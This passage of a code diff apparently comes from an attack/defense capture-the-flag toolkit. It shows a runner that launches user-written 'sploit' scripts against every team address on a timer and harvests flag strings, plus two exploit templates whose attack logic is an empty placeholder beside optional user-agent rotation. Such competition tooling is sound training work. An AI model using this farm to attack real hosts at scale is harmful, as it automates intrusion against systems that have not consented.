instance_flags = set()
|
||||
|
||||
line_cnt = 1
|
||||
|
||||
while True:
|
||||
line = stream.readline()
|
||||
if not line:
|
||||
break
|
||||
|
||||
line = line.decode(errors='replace')
|
||||
output_lines.append(line)
|
||||
|
||||
line_flags = set(flag_format.findall(line))
|
||||
if line_flags:
|
||||
flag_storage.add(line_flags, team_name)
|
||||
instance_flags |= line_flags
|
||||
|
||||
if args.endless and line_cnt <= args.verbose_attacks * VERBOSE_LINES:
|
||||
line_cnt += 1
|
||||
display_sploit_output(team_name, output_lines)
|
||||
output_lines = []
|
||||
if instance_flags:
|
||||
logging.info('Got {} flags from "{}": {}'.format(
|
||||
len(instance_flags), team_name, instance_flags))
|
||||
instance_flags = set()
|
||||
|
||||
if attack_no <= args.verbose_attacks and not exit_event.is_set():
|
||||
# We don't want to spam the terminal on KeyboardInterrupt
|
||||
|
||||
display_sploit_output(team_name, output_lines)
|
||||
if instance_flags:
|
||||
logging.info('Got {} flags from "{}": {}'.format(
|
||||
len(instance_flags), team_name, instance_flags))
|
||||
except Exception as e:
|
||||
logging.error('Failed to process sploit output: {}'.format(repr(e)))
|
||||
|
||||
|
||||
class InstanceStorage:
|
||||
"""
|
||||
Storage comprised of a dictionary of all running sploit instances and some statistics.
|
||||
|
||||
Always acquire instance_lock before using this class. Do not release the lock
|
||||
between actual spawning/killing a process and calling register_start()/register_stop().
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self._counter = 0
|
||||
self.instances = {}
|
||||
|
||||
self.n_completed = 0
|
||||
self.n_killed = 0
|
||||
|
||||
def register_start(self, process):
|
||||
instance_id = self._counter
|
||||
self.instances[instance_id] = process
|
||||
self._counter += 1
|
||||
return instance_id
|
||||
|
||||
def register_stop(self, instance_id, was_killed):
|
||||
del self.instances[instance_id]
|
||||
|
||||
self.n_completed += 1
|
||||
self.n_killed += was_killed
|
||||
|
||||
|
||||
instance_storage = InstanceStorage()
|
||||
instance_lock = threading.RLock()
|
||||
|
||||
|
||||
def launch_sploit(args, team_name, team_addr, attack_no, flag_format):
|
||||
# For sploits written in Python, this env variable forces the interpreter to flush
|
||||
# stdout and stderr after each newline. Note that this is not default behavior
|
||||
# if the sploit's output is redirected to a pipe.
|
||||
env = os.environ.copy()
|
||||
env['PYTHONUNBUFFERED'] = '1'
|
||||
|
||||
command = [os.path.abspath(args.sploit)]
|
||||
if args.interpreter is not None:
|
||||
command = [args.interpreter] + command
|
||||
if team_addr is not None:
|
||||
command.append(team_addr)
|
||||
need_close_fds = (not os_windows)
|
||||
|
||||
if os_windows:
|
||||
# On Windows, we block Ctrl+C handling, spawn the process, and
|
||||
# then recover the handler. This is the only way to make Ctrl+C
|
||||
# intercepted by us instead of our child processes.
|
||||
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
|
||||
proc = subprocess.Popen(command,
|
||||
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
|
||||
bufsize=1, close_fds=need_close_fds, env=env)
|
||||
if os_windows:
|
||||
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, False)
|
||||
|
||||
threading.Thread(target=lambda: process_sploit_output(
|
||||
proc.stdout, args, team_name, flag_format, attack_no)).start()
|
||||
|
||||
return proc, instance_storage.register_start(proc)
|
||||
|
||||
|
||||
def run_sploit(args, team_name, team_addr, attack_no, max_runtime, flag_format):
|
||||
try:
|
||||
with instance_lock:
|
||||
if exit_event.is_set():
|
||||
return
|
||||
|
||||
proc, instance_id = launch_sploit(args, team_name, team_addr, attack_no, flag_format)
|
||||
except Exception as e:
|
||||
if isinstance(e, FileNotFoundError):
|
||||
logging.error('Sploit file or the interpreter for it not found: {}'.format(repr(e)))
|
||||
logging.error('Check presence of the sploit file and the shebang (use {} for compatibility)'.format(
|
||||
highlight('#!/usr/bin/env ...', [Style.FG_GREEN])))
|
||||
else:
|
||||
logging.error('Failed to run sploit: {}'.format(repr(e)))
|
||||
|
||||
if attack_no == 1:
|
||||
shutdown()
|
||||
return
|
||||
|
||||
try:
|
||||
try:
|
||||
proc.wait(timeout=max_runtime)
|
||||
need_kill = False
|
||||
except subprocess.TimeoutExpired:
|
||||
need_kill = True
|
||||
if attack_no <= args.verbose_attacks:
|
||||
logging.warning('Sploit for "{}" ({}) ran out of time'.format(team_name, team_addr))
|
||||
|
||||
with instance_lock:
|
||||
if need_kill:
|
||||
proc.kill()
|
||||
|
||||
instance_storage.register_stop(instance_id, need_kill)
|
||||
except Exception as e:
|
||||
logging.error('Failed to finish sploit: {}'.format(repr(e)))
|
||||
|
||||
|
||||
def show_time_limit_info(args, config, max_runtime, attack_no):
|
||||
if attack_no == 1:
|
||||
min_attack_period = config['FLAG_LIFETIME'] - config['SUBMIT_PERIOD'] - POST_PERIOD
|
||||
if args.attack_period >= min_attack_period:
|
||||
logging.warning("--attack-period should be < {:.1f} sec, "
|
||||
"otherwise the sploit will not have time "
|
||||
"to catch flags for each round before their expiration".format(min_attack_period))
|
||||
|
||||
if max_runtime is not None:
|
||||
logging.info('Time limit for a sploit instance: {:.1f} sec'.format(max_runtime))
|
||||
else:
|
||||
logging.info('Time limit for a sploit instance: endless')
|
||||
|
||||
with instance_lock:
|
||||
if instance_storage.n_completed > 0:
|
||||
# TODO: Maybe better for 10 last attacks
|
||||
logging.info('Total {:.1f}% of instances ran out of time'.format(
|
||||
float(instance_storage.n_killed) / instance_storage.n_completed * 100))
|
||||
|
||||
|
||||
PRINTED_TEAM_NAMES = 5
|
||||
|
||||
|
||||
def get_target_teams(args, teams, attack_no):
|
||||
if args.not_per_team:
|
||||
teams = {'*': '*'}
|
||||
|
||||
if args.distribute is not None:
|
||||
k, n = args.distribute
|
||||
teams = {name: addr for name, addr in teams.items()
|
||||
if binascii.crc32(addr.encode()) % n == k - 1}
|
||||
|
||||
if teams:
|
||||
if attack_no <= args.verbose_attacks:
|
||||
names = sorted(teams.keys())
|
||||
if len(names) > PRINTED_TEAM_NAMES:
|
||||
names = names[:PRINTED_TEAM_NAMES] + ['...']
|
||||
logging.info('Sploit will be run on {} teams: {}'.format(len(teams), ', '.join(names)))
|
||||
else:
|
||||
logging.error('There is no teams to attack for this farm client, fix "TEAMS" value '
|
||||
'in your server config or the usage of --distribute')
|
||||
|
||||
return teams
|
||||
|
||||
|
||||
def main(args):
|
||||
try:
|
||||
fix_args(args)
|
||||
except (ValueError, InvalidSploitError) as e:
|
||||
logging.critical(str(e))
|
||||
return
|
||||
|
||||
print(highlight(HEADER))
|
||||
logging.info('Connecting to the farm server at {}'.format(args.server_url))
|
||||
|
||||
threading.Thread(target=lambda: run_post_loop(args)).start()
|
||||
|
||||
config = flag_format = None
|
||||
pool = ThreadPoolExecutor(max_workers=args.pool_size)
|
||||
|
||||
if args.endless:
|
||||
print()
|
||||
for warn in range(5):
|
||||
logging.warning("Be careful! We won't restart your sploit if it fails")
|
||||
print()
|
||||
|
||||
for attack_no in once_in_a_period(args.attack_period):
|
||||
try:
|
||||
config = get_config(args)
|
||||
flag_format = re.compile(config['FLAG_FORMAT'])
|
||||
except Exception as e:
|
||||
logging.error("Can't get config from the server: {}".format(repr(e)))
|
||||
if attack_no == 1:
|
||||
return
|
||||
logging.info('Using the old config')
|
||||
teams = get_target_teams(args, config['TEAMS'], attack_no)
|
||||
if not teams:
|
||||
if attack_no == 1:
|
||||
return
|
||||
continue
|
||||
|
||||
max_runtime = None
|
||||
|
||||
if not args.endless:
|
||||
max_runtime = args.attack_period / ceil(len(teams) / args.pool_size)
|
||||
|
||||
if not args.endless or attack_no == 1:
|
||||
|
||||
print()
|
||||
logging.info('Launching an attack #{}'.format(attack_no))
|
||||
|
||||
show_time_limit_info(args, config, max_runtime, attack_no)
|
||||
|
||||
for team_name, team_addr in teams.items():
|
||||
pool.submit(run_sploit, args, team_name, team_addr, attack_no, max_runtime, flag_format)
|
||||
|
||||
|
||||
def shutdown():
|
||||
# Stop run_post_loop thread
|
||||
exit_event.set()
|
||||
# Kill all child processes (so consume_sploit_output and run_sploit also will stop)
|
||||
with instance_lock:
|
||||
for proc in instance_storage.instances.values():
|
||||
proc.kill()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(parse_args())
|
||||
except KeyboardInterrupt:
|
||||
logging.info('Got Ctrl+C, shutting down')
|
||||
finally:
|
||||
shutdown()
|
||||
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import re
|
||||
import random
|
||||
import requests
|
||||
|
||||
USE_CUSTOM_USER_AGENT = False
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
|
||||
USER_AGENTS = [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||
]
|
||||
|
||||
|
||||
def exploit(target_ip):
|
||||
flags = set()
|
||||
|
||||
headers = {}
|
||||
if USE_CUSTOM_USER_AGENT:
|
||||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
|
||||
try: # example
|
||||
url = f"http://{target_ip}:8080/flag"
|
||||
|
||||
r = requests.get(url, headers=headers, timeout=4)
|
||||
r.raise_for_status()
|
||||
|
||||
for flag in FLAG_RX.findall(r.text):
|
||||
flags.add(flag)
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
# -------------------------------------------------------------------------
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
|
||||
try:
|
||||
found_flags = exploit(target_ip)
|
||||
|
||||
if found_flags is None:
|
||||
found_flags = []
|
||||
elif isinstance(found_flags, str):
|
||||
found_flags = [found_flags]
|
||||
|
||||
for flag in found_flags:
|
||||
clean_flag = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean_flag):
|
||||
print(clean_flag, flush=True)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,116 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import re
|
||||
import random
|
||||
import requests
|
||||
|
||||
USE_CUSTOM_USER_AGENT = False
|
||||
ATTACK_DATA_URL = "http://N.N.N.N"
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
|
||||
USER_AGENTS = [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||
]
|
||||
|
||||
|
||||
def get_attack_data(target_ip):
|
||||
"""
|
||||
Download attack data and return data for the target.
|
||||
|
||||
TODO:
|
||||
Adapt this function to the attack data format used by the current farm.
|
||||
|
||||
Common examples:
|
||||
|
||||
{"10.10.10.5": {...}}
|
||||
-> return data.get(target_ip, {})
|
||||
|
||||
{"service": {"10.10.10.5": {...}}}
|
||||
-> return data.get("service", {}).get(target_ip, {})
|
||||
|
||||
{"5": {...}}
|
||||
-> team_id = target_ip.split(".")[-1] # Or another way to get it
|
||||
return data.get(team_id, {})
|
||||
"""
|
||||
|
||||
headers = {}
|
||||
if USE_CUSTOM_USER_AGENT:
|
||||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||
|
||||
try:
|
||||
r = requests.get(ATTACK_DATA_URL, headers=headers, timeout=3)
|
||||
r.raise_for_status()
|
||||
|
||||
data = r.json()
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return {}
|
||||
|
||||
# TODO: Replace this line according to the attack data structure.
|
||||
return data.get(target_ip, {})
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] Failed to fetch attack data: {e}", file=sys.stderr, flush=True)
|
||||
return {}
|
||||
except ValueError as e:
|
||||
print(f"[-] Invalid JSON received: {e}", file=sys.stderr, flush=True)
|
||||
return {}
|
||||
|
||||
|
||||
def exploit(target_ip, team_data):
|
||||
flags = set()
|
||||
|
||||
headers = {}
|
||||
if USE_CUSTOM_USER_AGENT:
|
||||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
|
||||
try: # example
|
||||
token = team_data.get("token")
|
||||
if token:
|
||||
headers["X-Auth-Token"] = token
|
||||
|
||||
url = f"http://{target_ip}:8080/flag"
|
||||
r = requests.get(url, headers=headers, timeout=4)
|
||||
|
||||
for flag in FLAG_RX.findall(r.text):
|
||||
flags.add(flag)
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
# -------------------------------------------------------------------------
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
team_data = get_attack_data(target_ip)
|
||||
|
||||
try:
|
||||
found_flags = exploit(target_ip, team_data)
|
||||
|
||||
if found_flags is None:
|
||||
found_flags = []
|
||||
elif isinstance(found_flags, str):
|
||||
found_flags = [found_flags]
|
||||
|
||||
for flag in found_flags:
|
||||
clean_flag = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean_flag):
|
||||
print(clean_flag, flush=True)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user